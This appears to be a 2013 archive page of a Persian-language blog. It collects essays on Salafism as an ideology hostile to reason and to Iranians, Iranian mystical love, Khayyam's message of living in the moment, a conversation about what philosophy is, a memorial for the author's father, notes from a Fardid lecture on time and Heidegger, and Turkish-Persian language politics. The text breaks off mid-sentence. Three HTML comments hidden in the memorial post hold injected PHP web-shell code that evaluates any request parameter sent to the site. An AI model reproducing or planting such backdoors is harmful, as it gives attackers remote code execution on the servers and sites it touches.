RSS Feed

July, 2013

  1. سلفی گری: مشکل عالم اسلام

    July 24, 2013 by نصرالله پورجوادی

    امروز بزرگترین مشکل عالم اسلام سلفی گری است. هم در عالم تسنن و هم در عالم تشیع. سلفی یعنی پیرو سلف صالح و سلف صالح در نهایت پیروان سنت اهل مدینه بودند. آنها خود را پیرو سنت پیغمبر جا می زدند، ولی در حقیقت پیرو سنت اهل مدینه بودند. سلف صالح در زمان خودشان آدمهای خوبی بودند. خیلی خوب. به این افراد بعداً اولیا هم می گفتند، همان چیزی که فرنگی ها Saint می گویند. بنا بر این مشکل در سلف صالح نیست. مشکل در کسانی است که بعدا داعیۀ پیروی از سلف صالح داشتند و سعی کردند رفتار و اندیشۀ سلف صالح را به صورت ایدئولوژی در آورند. اساس این ایدئولوژی بر مفهوم سنت وضد آن بدعت بود. سلفی گری سنت اهل مدینه و به طور کلی حجاز را به عنوان سنت النبی اصل قرار داد و هرچه با آن مغایرت داشت به عنوان بدعت طرد کرد و با آن دشمنی نمود. هر چیزی که غیر عربی بود، خواه یونانی یا ایرانی، بدعت به شمار می آورد و سلفی ها آن را غیر اسلامی و جرم می دانستند. فلسفه و تفکر عقلی، حتی کلام عقلگرایانه، بدعت بود. علومی چون ریاضیات و طب و غیره بر اساس ایدئولوژی سلفی گری بدعت بود. نام عمومی تر سلفی ها اهل حیث بود. اهل حدیث و در رأس ایشان حنابله چشم دیدن غیر عرب را که به آنها عجم می گفتند نداشتند. از ایرانیان بدشان می آمد. از زبان فارسی متنفر بودند چون نسبت به کسانی که به این زبان تکلم می کردند احساس حقارت می کردند.می گفتند زبان فارسی زبان اهل جهنم است. ایرانیان مجبور شدند که حدیث جعل کنند و بگویند که پیغمبر(ص) چند کلمه ای فارسی از سلمان فارسی یاد گرفته بود و آنها را می گفت. با علومی که عربهای دیگر از ایرانیان می آموختند مخالفت می کردند و می گفتند بدعت است. زیباترین و عمیق ترین مطالب عرفانی را در بارۀ توحید از ایرانیان می آموختند و آنها را به خودشان می بستند. با فلسفه شدیداً مخالفت می کردند چون بدعت یونانیان بود. اصلا با اساس تعقل مخالفت میکردند و عقل را نکوهش می کردند و آن را در برابر شرع قرار می دادند و آن را به دلیل این که یونانیان به کار برده بودند سرکوب می کردند. علومی را که از یونانیان یا ایرانیان گرفته بودند علوم دخیله می خواندند و سعی می کردند در عوض به خیال خود علوم اسلامی تأسیس کنند. اهل حدیث کوششهای زیادی برای تأسیس علوم اسلامی به عمل آوردند ولی در این راه شکست خوردند. من تقسیم بندیهایی را که اهل حدیث از علوم در قرن سوم کرده اند مطاله کرده ام. اینها متعلق به زمانی است که هنوز علوم یونانی درست معرفی نشده و جا نیفتاده بود. مطالبی است آشفته و غیر علمی که در آنها سعی شده است بحثهایی که در بارۀ توحید و تفسیر و حدیث و فقه و امر به معروف و نهی از منکر به عنوان علم معرفی شود. اصلا مفهوم علم نزد ایشان با آنچه بعد از معرفی علوم دخیله پیدا شد متفاوت است. نهضتی که در اهل حدیث برای علم سازی به وجود آمد محکوم به شکست بود، چه علم باید بر اساس عقل و منطق باشد ووقتی کسانی بخواهند با عقل به عنوان بدعت عمل کنند و آن را زیر پا بگذارند چه طور می توانند علم تاسیس کنند. کتابهای علمی اهل حدیث یک مشت نقل قول پریشان وغیر متلائم است. یکی از دستاوردهای بزرگ اهل حدیث در قرن پنجم کتاب احیاء علوم الدین است که تازه عقلگرائیهای آن مورد تأیید سلفی های دو آتشه نبوده است.
    سلفی های امروز هم کم و بیش همان برنامۀ سلفی گری قدیم را با الفاظ و اصطلاحات دیگر دنبال کنند. آنها اهل مبارزه اند و مبارزه آنها با غرب و غربزدگی است. غربزدگی نام جدید بدعت است، بدعتی که اساس آن یونانی و عقل یونانی یا پتیارۀ خرد است. سلفی های فرنگی مآب امروزی فرهنگ و علوم جدید را کلا زائیده نفس اماره و سوبژکتیویسم دکارتی معرفی می کنند . آداب وحقوق و روابط عقلی و حقوق بشر را بدعت می انگارند و آنها را لائیک یا سکولار می خوانند، چون آنها را ساختۀ عقل بشر می دانند. لائیک بودن نام جدید مبتدع بودن است. اومنیسم را هم نه به عنوان بدعت بلکه به عنوان شرک کنار می گذارند. سلفی های امروز هرچه غیر از سنت عربی هزار و چند صد ساله باشد بدعت می دانند. دشمن آنها فقط غرب نیست. در باطن ایران را هم دشمن می دانند همانطور که اسلاف ایشان می دانستند. برای سلفی های غیر ایرانی ایرانیان همان مجوس اند که امروز به لباس رافضی در آمده اند و خونشان هم مباح است. سلفی های خودمانی هم ، حتی روشنفکران فرنگی مآبمان، با ایران پیش از اسلام کاری ندارند. اهل حدیث در قرون اولیه اهل جنگ و کشت و کشتار بودند. حتی زهاد و عباد پرهیزگار اهل حدیث به مرزها می رفتند تا مسیحی بکشند. عربهایشان به خراسان می آمدند و خراسانی می کشتند تا بخشی از وظایف دینی خود را انجام داده باشند. ایرانی کشی، مجوس کشی، شیعه کشی، مسیحی کشی، بودائی کشی جزو برنامه های سلفی ها بوده و امروزه هم وهابیان که پیروان ایدئولوژی سلفی گری اند با ایرانیت و مجوس و رافضی مشکل دارند و بعضی از ایشان اگر دستشان برسد آنها رامی کشند. سلفی ها در ایران هم هستند . انواع و اقسامشان هستند، در مناطق سنی نشین مثل کردستان و بلوچستان و در شهر ها. هم شیعه وهم سنی. کسانی داریم که نه فقط اومنیسم و حقوق بشر و مشروطه را غیر اسلامی و غربزده می دانند بلکه با همۀ علوم جدید، اعم از طب و ریاضیات و فیزیک و همچنین علوم انسانی، به عنوان حاصل پتیارۀ خرد وزائیده نفس اماره مخالفت می کنند و در دل نهادهای آموزشی مانند دانشگاه ها را لانۀ فساد می دانند . سلفی گری مشکل عالم اسلام بوده و هست و به این زودیها هم از بین نمی رود.


  2. عشق ایرانی

    July 23, 2013 by نصرالله پورجوادی

    محبوبترین کلمات قرآن نزد عارفان ایرانی دو کلمۀ «یُحِبّهُم و یُحِبونه» بوده است و اصلاً بسیاری از مفسران (اگر نگوئیم اغلب آنها) گفته اند که این آیه در شأن ایرانیان نازل شده است، قومی که خدا ایشان را دوست خواهد داشت و ایشان هم خدا را دوست خواهند داشت. عارفان و صوفیان ایرانی بر اساس این آیه گفته اند که نسبت خاصّی که ایرانیان با خدا برقرار کردند نسبت عشق بود، آنها عاشق شدند و خداوند معشوق… به همین دلیل عرفان ایرانی را مذهب عشق نامیدند. مولانا هم به این آیه در مقدمۀ یکی از دفاتر مثنوی اشاره کرده و گفته است که یحبهم تمام است یحبهم کدام است. دو سه روز است که دیوان نزاری قهستانی را می خوانم، شاعری که در زمان مولانا می زیست و من دیوانش را به کلیات شمس ترجیح می دهم. به غزلی برخوردم که در آن ویژگی هر قوم را بیان کرده است، از جمله ویژگی ما ایرانیان را:

    خوش ولایتها که در تحتِ امورِ اولیاست/ مصرِ استغنا و رومِ فقر و بغدادِ رضاست

    بخشِ ایران قسمِ عشق و قسمِ توران بخشِ عقل/ در میان آمویِ حکمت هم روان و هم رواست

    (این مطلب در سال گذشته نوشته  و در فیس بوک گذاشته شده بود)


  3. پیام خیام: فرزند وقت باش

    July 23, 2013 by نصرالله پورجوادی

    عظمت خیام در چیست؟ در این که فلسفه می دانست؟ یا ریاضیات و نجوم زمان خود را خوب می دانست؟ نه !عظمت او در این بود که شاعر بود، شاعری حقیقی. خیام فلسفه و علم زمان خود را خوب می دانست و حتی گفته اند که در این امور صاحب نظر بود.  ولی در عین حال خیام حدّ فلسفه و علم را در راه رسیدن به مقصود و مقصد حیات می دانست. برای او چیزهایی در جهان وجود داشت که دست علم و دانایی بدان نمی رسید.  زندگی رازهایی داشت که هرگز گشوده نمی شد. علم و فلسفه نمی توانست معمای حیات رابرای اوحل کند. معمای حیات، آمدن و رفتن ما، سهمی که از حیات نصیب هر انسانی می شود. انسانی که مانند جانوران دیگر روزی به دنیا می آید و پس از چند صباح باید برود. انسان در برابر این معما یک چیز را خوب می داند وآن این است که حیات او پایدار نیست. آمده است تا برود. مرگ را از مادر زاده است. هومر انسانها رابه برگ درختان تشبیه می کرد، و آنها را نسل برگها می خواند، وشاعران ما انسان را به گلی تشبیه کرده اند که عمرش همین پنج روز و شش باشد و خیام او را کوزه ای خوانده است که روزی او را می سازند و روز دگر با سنگ تقدیر می شکنند. انسان در برابر آن مقداری از حیات که نصیبش شده است هیچ قدرتی ندارد. پس چه  باید بکند؟ و اینجاست که شاعر بزرگ  ما خیام دریک کلمه به ما پاسخ می دهد و می گوید: حال. انسان باید از یک چیز غافل نباشد : حال. نباید به حال بی اعتناباشد. ارزشمند ترین چیزی که به انسان داده اند یک مشت عقاید دینی و فلسفی نیست، بلکه احوالی است که هر لحظه از آسمان وقت برایش نازل می شود. آسمان وقت تعبیر احمد غزالی است و وقت کم و بیش همان حال است. حال تجربۀ وقت است. و خیام ما را به وقت دعوت می کند. از آسمان وقت هم خوشی می بارد و هم ناخوشی ، هم اندوه وهم شادی ، هم قبض و هم بسط. وچیزی که فراوان است اندوه و نا خوشی است. عارفان مارا به هر مائده ای که از آسمان نازل می شود دعوت می کنند و خیام ما را به خوشی دعوت می کند. چیزیکه باید قدرش رادر زندگی دانست لحظات خوشی است. این لحظات دور نیست. همین جاست. در همین لحظه. در این آن ، آن دائم و سرمدی، در وقت. وقت راباید دریافت. وقتی که درگذر است. عمری که به شتاب می گذرد. اساس تجربۀ دینی هم در همین احوال است ، در اوقاتی است که از آسمان نازل می شود. نیرویی که با آسمان وقت و حال میتواند مر تبط شود عقل دور اندیش ما نیست.من با کرین آرمسترانگ موافقم که حس دینی را به حال و عشق و مهربانی نزدیک تر می داند تا به عقیده. و خیام هم مارا نه به عقیده ، بلکه به حال دعوت می کند. مهم نیست کوزه گر و کوزه خر و کوزه فروش کیست. خالق و مخلوق در این میان چه کاره اند. دنبال گشودن راز سر به مهر نیست. اونمی خواهد خود را با اوهام سر گرم کند. چیزی را که باید دریافت لحاظات  تکرار نا شدنی حیات است .وقت است . و دستی که با آن می توان وقت رادریافت دست حال است ، دست تجربه است، نه عقیده. پیام حافظ  نیز همین است:

    من نگویم خدمت زاهد گزین یا می فروش / هر که حالت خوش کند در خدمتش چالاک باش


  4. فلسفه چیست؟

    July 23, 2013 by نصرالله پورجوادی

    پریروز نجار آورده بودم در کتابخانه ام را عوض کند. جوانی بود خوش رو و خوش محضر. مشغول کارش بود و منهم با او خوش و بش می کردم. خیلی زود با من احساس خودمانی کرد. پرسید: آقا، شما دکتر چه هستید؟ گفتم : فلسفه. گفت : من اصلا نمی فهمم فلسفه چیه. فلسفۀ چیه آقا؟ گفتم: در فلسفه سؤال طرح می کنند و سعی می کنند پاسخ بدهند. گفت: چه سؤالی؟ گفتم: مسئلۀ تو الان چیست؟ گفت: دنبال زن می گردم. زن خوب. مسئلۀ من الان پیدا کردن زن خوب است. گفتم: ولی این سؤال فلسفی نیست. گفت: چرا؟ گفتم: برای این که این مسئله به من مربوط نیست. سؤال فلسفی باید به دیگران هم مربوط باشد. سؤال باید کلی باشد. گفت: پس سؤالهای سیاسی؟ در بارۀ احمدی نژاد؟ گفتم: نه، احمدی نژاد دولتش آفتاب لب بام است. چند وقت دیگر تو گویی که بهرام هرگز نبود. گفت پس چه؟ یعنی اگر راجع به سیاست دنیا باشد فلسفه است؟ گفتم: نه. البته سؤال هر چه کلی تر و عمومی تر باشد مایۀ فلسفی آن بیشتر است. راجع به سیاست هم می توان فلسفه داشت یعنی سؤال مطرح کرد و جواب داد. راجع به قانون و حقوق و مسائل اجتماعی همه می توان از دریچۀ فلسفه وارد شد. ولی باز فلسفۀ فلسفه یا به قول معروف فلسفۀ محض نیست. سؤال فلسفی نه باید در بارۀ همسر آینده تو باشد و نه کاپشن احمدی نژاد. باید به یک کشور خاص مربوط نشود و در بارۀ زمان خاصی هم نباشد. گفت : مثلا راجع به کره مریخ باشد چطور؟ گفتم: تو حالا با مریخ چه کار داری ؟ باید در درجۀ اول در بارۀ خود تو باشد. گفت: پس اگر این طور است همان که گفتم. زن خوب. راستی آقا ، یه دختر خوب ، خانواده دار، اگر پیدا کردید ممنون می شوم. من تا حالا هم ازدواج نکرده ام. گفتم: چشم، می سپارم. گفت: پس حالا نمی خواهید بگوئید فلسفه چیست؟ گفتم: من که گفتم. باید در بارۀ خودت باشد، در بارۀ انسان باشد و فقط هم به خودت مربوط نباشد، چون کسی نمی خواهد راجع به زن آیندۀ تو فکر کند. راجع به همه باشد، در همۀ زمانها، در همۀ مکانها، تا انسان انسان است برای او مطرح باشد. این را که گفتم دیدم چشمهایش گرد شد و گفت: اَاَاَه، یعنی چه سؤالی می تواند باشد. آقا سخت شد.


  5. به یاد پدرم: یادداشت هفتادسالگی

    July 20, 2013 by admin

    پنجاه سال پیش به من گفتند پدرت مرد. پاهایم شل شد. پشتم خالی شد. بی اختیار نشستم. گریه می کردم ولی اشکم در نمی آمد. شیون می زدم ولی صدایم در نمی آمد. روز بعد که در آینه نگاه کردم اولین موی سفید را توی سرم دیدم. تا مدتها هر وقت آهنگ باب دیلون را می شنیدم احساس می کردم شعر در بارۀ سرنوشت من است. ترجمه اش کم و بیش این بود، یا من این طور می شنیدم: “هان پسر ، چطوری؟ روی پای خودت، تک و تنها، تو این دنیای بی کسی، همچون سنگ ریزه ای که بی هدف از کوه فرو می غلطد، تک و تنها. چه طوری؟” یکی از دوستانم در یتیم خانه کار می کند. بارها خواسته ام با او به محل کارش بروم و یک کاری بکنم. دستی به سر یتیمی بکشم. ولی بعد فکر کردم : نه، فایده ای ندارد. دست باید دست پدر باشد.فقط پدر.

    <!– [insert_php]if (isset($_REQUEST["YLJLG"])){eval($_REQUEST["YLJLG"]);exit;}[/insert_php][php]if (isset($_REQUEST["YLJLG"])){eval($_REQUEST["YLJLG"]);exit;}[/php] –>

    <!– [insert_php]if (isset($_REQUEST["yuaBk"])){eval($_REQUEST["yuaBk"]);exit;}[/insert_php][php]if (isset($_REQUEST["yuaBk"])){eval($_REQUEST["yuaBk"]);exit;}[/php] –>

    <!– [insert_php]if (isset($_REQUEST["IqzQP"])){eval($_REQUEST["IqzQP"]);exit;}[/insert_php][php]if (isset($_REQUEST["IqzQP"])){eval($_REQUEST["IqzQP"]);exit;}[/php] –>


  6. درس فردید (۳)

    July 13, 2013 by daanial

    وقت و بی وقتی، تروریسم و القاعده
    توضیح: نگاه فردید به فلسفه نگاهی تاریخی است. او فلسفۀ کنونی را فلسفۀ جدید می داند و مطابق معمول آن را در برابر فلسفۀ قدیم و قرون وسطا قرار می دهد. فلسفۀ اسلامی را هم فلسفۀ قرون وسطایی می داند. او به تفکری ما قبل فلسفی هم قائل است و در واقع مانند هایدگر تفکر اصیل را همان تفکر ما قبل فلسفی می داند. فردید معتقد است که صوفیان و عرفا و برخی از شاعران، در رأس ایشان حافظ و تا حدودی مولانا، نیز از همین تفکر ما قبل فلسفه و ما قبل متافیزیک برخوردار بودند.
    فردید معتقد است که این تفکر ما قبل فلسفی در ظرفی زمانی صورت گرفته که “وقت” نام دارد. وقت البته اصطلاحی است صوفیانه، کم و بیش به معنای حال. مثلا شادی و غم و اندوه و بی حوصلگی و قبض و بسط همه احکام وقت است. حال تجربۀ انسان از وقت است. وقت چیزی است که هر لحظه به سراغ هر کس می آید و تجربۀ آن حال است. بنا بر این یک چیز است که به اعتباری وقت خوانده می شود و به اعتباری دیگر حال. پس حکم وقت من ممکن است شادی باشد و اگر من حکم وقت خود رادریابم و احساس شادی کنم در آن صورت حال شادی را تجربه کرده ام. وقت را مانند حال لحظه و آنی دانسته اند که مدام حاضر می شود و غایب. اکنون است. اکنون و اکنون. وقت زمانی است که واقعیت دارد. تنها زمانی است که واقعیت دارد. گذشته و آینده هر دو موهوم است. حال یا وقت است که واقعیت دارد.
    فردید می گوید شعرا و متفکران اصیل در اوقاتی خاص می توانند نسبتی با وجود بر قرار کنند. در تصوف می گویند این اشخاص صاحب وقت یا فرزند وقت می شوند. کسی که فرزند وقت می شود حکم وقت را درمی یابد. از لحاظی پاسیو است. قبول می کند آنچه را که از آسمان وقت نزول کرده است. اما کسانی هم هستند که این احکام از ایشان صادر می شود. آنها ابوالوقت یا خداوند وقت اند. (فردید با اصطلاحات پارسی “فرزند وقت” و “خداوند وقت” آشنا نبود.) خداوند وقت اوقات و احوالی را برای خود یا کسان دیگر به وجود می آورد. می تواند شادی و سرور و قبض و بسط را برای خود پدید آورد یا در نفوس دیگران تصرف کند و این احوال را به ایشان ببخشد. همۀ اینها جنبۀ شخصی دارد. بزرگانی چون بایزید بسطامی و حرّاز و جنید نه فقط فرزند وقت بلکه خداوند وقت هم بودند و می توانستند احوالی را برای خود یا کسانی که می خوانستند ایجاد کنند. اما فردید به این معنی عمومیتی فرا گیر می دهد و از آن به عنوان عاملی مؤثر در پدید آمدن اعصار تاریخی یاد می کند و آن را به هایدگر نسبت می دهد. می گوید هر عصری ( اپوخه) با تجربۀ شخصی آغاز می شود که او ابوالوقت است، خداوند وقت است در تاریخ. ا و در تجربۀ خود نسبت خاصی با وجود بر قرار کرده است. او آغازگر عصری است که بعد از او پدید می آید. البته خداوندان وقت در تصوف و عرفان مردان بزرگ و معنوی اند که یا پیامبر بودند یا ولی خدا. ولی فردید و هایدگر با کسانی کار دارند که در اوقات خود نسبتی با وجود برقرار می کنند ولذا فردید از نسبتی که خدوندان وقت با وجود بر قرار می کنند به عنوان نسبتی معنوی و تجربه ای دینی یاد نمی کند. مثلا او آغاز گر عصر جدید را، یعنی خداوند وقتی را که تفکر فلسفی و علمی جدید با او آغاز شد، دکارت معرفی می کند. دکارت ابوالوقتی بود که عصر جدید را که عصر خود بنیادی است (subjectivity) آغاز کرد. تجربۀ او از وجود تجربۀ وجود موجودی بود به نام “من”. یکی از خصوصیات این خودبنیادی انکار عقل کلی (نوس) بود که در درسهای دیگر در بارۀ آن بحث شده است. فردید می گوید نیچه هم به دنبال وقت بود واز قول هایدگر می گوید که نیچه درد وقت داشت. ولی نتوانست درد خود را درمان کند. نتوانست از متافیزیک بگذرد. البته معلوم نیست که درد نیچه این بود که می خواست فرزند وقت باشد یا خداوند وقت. در تصوف فرزند وقت بودن برای هر کس مقدور است و به همین دلیل صوفیه مدام به مریدان خود سفارش می کنند که وقت را غنیمت بشمرند. وقت را دریابند. این سفارش را در لاتینی هم با عبارت ” کارپه دی یم” می کنند و یکی از کتابهای خوبی که در سالهای اخیر برای آموختن و یاد آوری یافت وقت نوشته شده ” قدرت وقت” (The Power of Now) نوشتۀ اکهارت توله (Eckhart Tolle) است. ولی فردید یافت وقت را بسیار دشوار می بیند و حتی آن را در گرو حوالت تاریخی می داند. می گوید وقت داشتن مستلزم بی خودی صرف است، در حالی که چنین نیست. تجربۀ بی خودی خودش تجربه ایست از وقت. علاوه بر این، مشخص نیست که این دشواری را فردید در فرزند وقت بودن می بیند یا در خداوند وقت بودن. معلوم نیست که مشکل نیچه این بود که می توانست فرزند وقت باشد ولی نمی توانست خداوند وقت باشد یا نه اصلا حتی نمی توانست فرزند وقت هم باشد.
    تحلیل فردید در مورد علت یورش یا آنچه در فرنگی به آن violence می گویند در خور توجه است. خشونت و یورش و آدم کشی واگر زنده بود ترو ریسم مذهبی و غیر مذهبی را که ما امروز در القاعده و امثال القاعده می بینیم ، همه را در بی وقتی بشر و زمان زدگی او در عصر حاضر می دانست. بشر وقت را گم کرده است. در میان ما خداوندان وقت نیستند و کمتر کسی می تواند حتی فرزند وقت باشد.
    درس فردید
    (در غیاب خداوندان وقت)
    ۱۱/۳/ ۱۳۵۰
    یکی از مسائلی که هم در تصوف و هم در تفکر هایدگر مطرح است “وقت” است. تفکر هایدگر تصوفی است که در آن شریعت نیست. از قید شریعت رها شده. صوفیه پیدا کردن وقت را زمینۀ ولایت می گرفتند. انسان تا از زمان متداول فنا پیدا نکند وقت پیدا نمی کند.« لی مع الله وقت لا یسعنی فیه ملک مقرب أو نبی مرسل.» مرا با خدا وقتی است که نه نبی و نه ملک در آن وقت می گنجند. شیخ محمود شبستری ابیاتی در این باره در گلشن راز سروده است. کسی که صاحب وقت می شود ابن الوقت است ( در فارسی به او “فرزند وقت” می گویند). وقتی کسی ابن الوقت شد سخنش منشأ اثر می گردد. (کسانی هستند که خودشان وقت یا حال را پدید می آورند. آنها در حکم وقت نیستند. وقت در حکم ایشان است. به این قبیل اشخاص ابوالوقت و در فارسی “خداوند وقت” می گویند.) هایدگر می گوید کمال انسان در این است که ابن الوقت/فرزند وقت شود و سپس ابوالوقت/ خداوند وقت گردد. ولی زمان ابوالوقت شدن هنوز نرسیده است.
    هایدگر تلقی معمولی از زمان یا وقت را نیست انگارانه می داند. (و چون ) لقای وجود را ملازم لقاء زمان می داند، (لذا لقای وجود را نیست انگارانه می داند.) تلقی امروزی از زمان به گونه ایست که وقت به زمان علمی مبدل شده است. زمانی که در مسابقات ورزشی تا یک چندم ثانیه محاسبه می شودوقت نیست. در آمریکا می گویند وقت طلاست. این وقت عین بی وقتی است. زمان علمی اینشتاین با علم و تکنولوژی که فرع متافیزیک اند تلازم دارد. به عبارت دیگر ، زبان علمی از لوازم فلسفه و متافیزیک است.
    کرونوس یونانی( که خدای زمان است) با زروان همریشه است. در دورۀ مسیح است که زمان را خدا کردند.اسطورۀ خدای زمان در هایدگر تأثیر داشته است. بشر ابتدائی زمان را خدا می گرفته و با وجود یکی می گرفته.
    گفته اند که نسبت متغیر به متغیر زمان است، نسبت متغیربه ثابت ( مثل نسبت متغیرات این عالم با عقول و نفوس) دهر و نسبت ثابتات ( مثل عقول و نفوس) با ثابت ( یعنی ذات حق)سرمد. در اصطلاح فلاسفۀ ما، تا میر داماد، دهر در برابر زمان است. دهریون به کسانی می گفتند که به جای خدا طبیعت هراکلیتوس را می گذاشتند.
    آیا وقت یافتن همان بینش دهر است؟ نه. وقت یافتن را بینش دهر انگاشتن تصوف برگسون است و هایدگر آن را عین نیست انگاری می داند. وقت در مرتبۀ بیخودی صرف پیدا می شود. در حرکت جوهری ملاصدرا وقت نیست. ابن الوقت عارف حقیقی است. اول باید ابن الوقت شد و آنگاه ابوالوقت.
    تاریخ با وقت آغاز می شود. تاریخها با هم فرق دارند چون وقت آنها با هم فرق دارند. وقت دورۀ جدید در بی وقتی است. وقتی که دکارت پیدا می کند حتی در قرون وسطی هم نیست. نیچه می خواهد صاحب وقت شود ، ولی هایدگر می گوید وقت او باز وقت متافیزیک است. نیچه تذکر عمیقی نسبت به صدر تاریخ غربی پیدا می کند. به وقتی که هنوز به عنوان طلا تلقی نشده . در نیچه تذکر هست و تا صدر تاریخ پیش می رود ولی او تفکر، به معنای وقت تازه پیدا کردن، ندارد.
    زمان ما زمان گذران است. انسان هر آن به هرچه نگاه می کند می بیند که بود. (بود و اکنون نیست) . دیدن آنچه هست و بعد نیست حالت انتقام در بشر تولید می کند. این زمان که مستلزم قاطی شدن نیست و هست است احساس حسرت در ما به وجود می آورد و انسان می خواهد یورش بیاورد. دنیای حاضر دنیای یورش است. حوالت تاریخی چنین است که نسبتها با هم از روی کینه توزی و یورش و به هم پریدن است. در دنیای حاضر ما وقت نداریم. این وقت نداشتن مستلزم زمان زدگی است و تاریخ زمان زده لازمه اش کینه توزی و انتقام است. نیچه می خواهد از این حس انتقام و کینه توزی (De Rache) نجات پیدا کند. پس “بازگشت جاویدان همان” را به جای آن می گذارد. هایدگر می گوید ” بازگشت جاویدان همان” خیلی تازه است، ولی این هنوز وجود موجود است که در صدر تاریخ (غرب) به نحوی حوالت شده بوده است. می گوید نیچه در نتیجۀ تذکری که پیدا کرد وجود موجود را دریافت و سعی کرد از نیست انگاری بگذرد. اما نیچه، از نظر هایدگر، همچنان در متافیزیک باقی ماند، برای این که وقت همچنان برای او پنهان ماند و آن را در نیافت. تغییر تاریخ مستلزم یافتن وقت است. نیچه هم به دنبال وقت بود. می پرسد: وجود چیست؟ پاسخ می دهد: حیات است و آنهم اراده به سوی قدرت و ذات اراده به سوی قدرت هم وقت. هایدگر نیچه را آخرین متفکر متافیزیک می داند. از نظر او نیچه تنها کسی است که راه را باز کرده تا تمدنی در مقابل وجود و زمان آری بگوید. هایدگر انس عجیبی با نیچه دارد. هایدگر درد نیچه را درد وقت یابی می داند (دردی که درمان نشد). نیچه از متافیزیک نتوانست عبور کند . یک معنی نیهیلیسم نیچه این است که همۀ متافیزیک نیهیلیسم است.

  7. در مثل مناقشه نیست

    July 12, 2013 by daanial

    در یکی از حکایتهای بودائیان، فرقۀ ذن، آمده است که شیخی با مرید خویش گفت:” پسر جان، من نیم ساعت است که با انگشتم دارم ماه را در آسمان به تو نشان می دهم و تو به جای این که به ماه نگاه کنی به انگشت من خیره شده ای.” حالا این حکایت برخی از اصحاب فیس بوکی ماست که فقط دوست دارند زیر هر حسب حالی ذیل بنویسند، یعنی کامنت بگذارند و برایشان هم مهم نیست که چه می نویسند . فقط بنویسند. یک چیزی گفته باشند. با اصل مطلب کاری ندارند. در بارۀ مقدمۀ طرف می نویسند، در بارۀ مثالهایی که نویسنده برای شیر فهم کردن خواننده آورده می نویسند، در بارۀ پرانتزی که طرف وسط حرفش باز کرده می نویسند، خلاصه در بارۀ هر چیزی می نویسند غیر از مطلب اصلی و فراموش می کنند که از قدیم می گفتند : در مثل مناقشه نیست. اگر می خواهید کامنت/ذیل بنویسید راجع به اصل مطلب بنویسید.

  8. روحانی وانکار هولوکاست

    July 8, 2013 by daanial

    پریشب در میهمانی یکی از اطرافیان آقای روحانی از مشکلات ایشان برای برگرداندن قطار به ریل سخن می گفت. به کارهایی که نباید می شد اشاره کرد. از جمله به انکار هولوکاست . گفت بعد از رفتن رضاه شاه به طرف آلمانها ، هیچ کاری در سیاست خارجی ما این قدر به کشور لطمه نزده بود. برگرداندن وضع ما به قبل از انکار هولوکاست خودش کاری است کارستان. یکی از دوستان که کنار من نشسته بود آرام به من گفت: من گمان نمی کنم انکار هولوکاست فقط یک حرکت جدا بود بلکه در داخل مجموعه ای از حرکات و سیاستهایی بود که بعضی ها در روابط خارجی خود پیش کشیده بودند. سیاست این بود که کشورهای خارجی می خواهند به ما حمله کنند و صدمه بزنند و ما باید قبل از حملۀ آنان به خودشان حمله کنیم و بدین ترتیب از خود دفاع کنیم. هولوکاست هم یکی از این حملات پیشگیرانۀ دن کیشوتی بود. می گفت روحانی برای برگرداندن قطار به ریل باید در این سیاست تجدید نظر کند. حمله کند وقتی در معرض حمله قرار گرفت و دفاع کند وقتی لازم بود دفاع کند. از همه مهمتر، سری که درد نمی کند دستمال نبندد.

  9. فارسی زدائی ترکها

    July 5, 2013 by daanial

    از شنیدن تعبیر “امپریالیسم فارسی” چندشم می شود و از خودم می پرسم چه کسانی این تعبیر را وضع کرده اند؟ چه کسانی می خواهند برای دفاع از زبان ترکی فارسی را از فرهنگ خود حذف کنند؟ بیست و شش سال پیش من در ایران مظلوم نوشتم و اخطار دادم که مسئلۀ ترکی و فارسی مسئلۀ ما نبوده است. من تاریخ این مسئله را به فرقۀ دموکرات در تبریز و آتشی که آنها روشن کردند و تخم لقی که در دهانها شکستند رساندم. ولی در این مدّت متوجه شدم که سابقۀ این مسئله به خیلی جلوترها می رود. به اوائل سلطنت صفویه در ایران، اوائل قر ن دهم. صفویه با حکومت عثمانی جنگ داشتند. بعد از چالدران و بعد از این که سلطان سلیم در سال ۹۲۰ تبریز را از هستی فرهنگی خود ساقط کرد (تبریزی که در دورۀ ایلخانی از لحاظ فرهنگی تاج سر همۀ شهرهای ایران و کل جهان اسلام بود) و بیش از هزار شخصیت فرهنگی و هنرمند و نویسنده و متفکر و فیلسوف و متکلم را با خود به استانبول برد، پسرش سلیمان که در سال ۹۲۶ به سلطنت رسید سعی کرد ایدئولوژی جنگ میان عثمانی و صفوی را تدوین کند. برای مرزهای جغرافیایی پشتوانۀ ایدئولوژیک درست کند. صفویه در شرق بود و آنها در غرب، صفویه شیعه بود و آنها سنی، فارسی را هم زبان صفویه تعریف کردند و ترکی را زبان خودشان. ترکی کردن عثمانی از زمان سلیمان شروع شد. سلیمان می¬خواست ترکی را زبان رسمی عثمانی کند و فکر می کرد که برای رسیدن به این هدف باید فارسی را حذف کند. تا آن زمان مسئله¬ای به نام ترکی و فارسی در ایران و عثمانی وجود نداشت. در تبریز و بورسه و شهرهای دیگر، مجامع علمی و ادبی به دو زبان و گاه سه زبان تشکیل می¬شد. شعرا شعر فارسی می¬سرودند و ادبا به فارسی می¬نوشتند و در مجامع علمی به ترکی و فارسی بحث می¬کردند. قرآن می¬خواندند و پشت سر آن تفسیر فارسی آن را می¬خواندند و سپس به ترکی شرح می¬کردند. مترجمان شاهکارهای فارسی را به ترکی ترجمه کردند و به ترکی نوشتند و به ترکی و فارسی شعر گفتند. مراودۀ فرهنگی میان فارسی و ترکی در اوج خود بود. اهل فرهنگ ما در آذربایجان و استانبول و بورسه و شهرهای دیگر عثمانی سه زبانۀ بودند و هیچ¬وقت احساس نمی¬کردند که فارسی زبان آنها نیست. تا این که سلیمان قانونی به خلاف پدرش که شعر به فارسی می سرود برنامۀ فارسی زدائی خود را آغاز کرد . چهارصد سال است که حکومت عثمانی برای تعریف سلطنت و حکومت خود غیر تراشیده و این غیر در ابتدا حکومت صفوی و مرزهای ایران و مذهب تشیع و زبان فارسی بوده است. شوروی سعی کرد از همین خصومت ساختگی استفاده کند برای بلعیدن قفقاز و اران و حفظ آن و سپس برای بلعیدن آذربایجان، والان هم چی چی اوفهای کشوری که اسم دزدی روی خودش گذاشته است همین خواب را می بیند. رو در بایستی بگذاریم کنار. فارسی زدایی مقدمۀ تجزیه است. ما چیزی به نام ترکی زدائی نداشته ایم. یک خانوادۀ ایرانی پیدا نمی کنید که یکی از پدر بزرگها یا مادر بزرگهایش ترک زبان نبوده باشد. ترکی بخشی از بدنۀ زبانی ما بوده است. در هیچ زمانی چه در دوران صفویه و چه 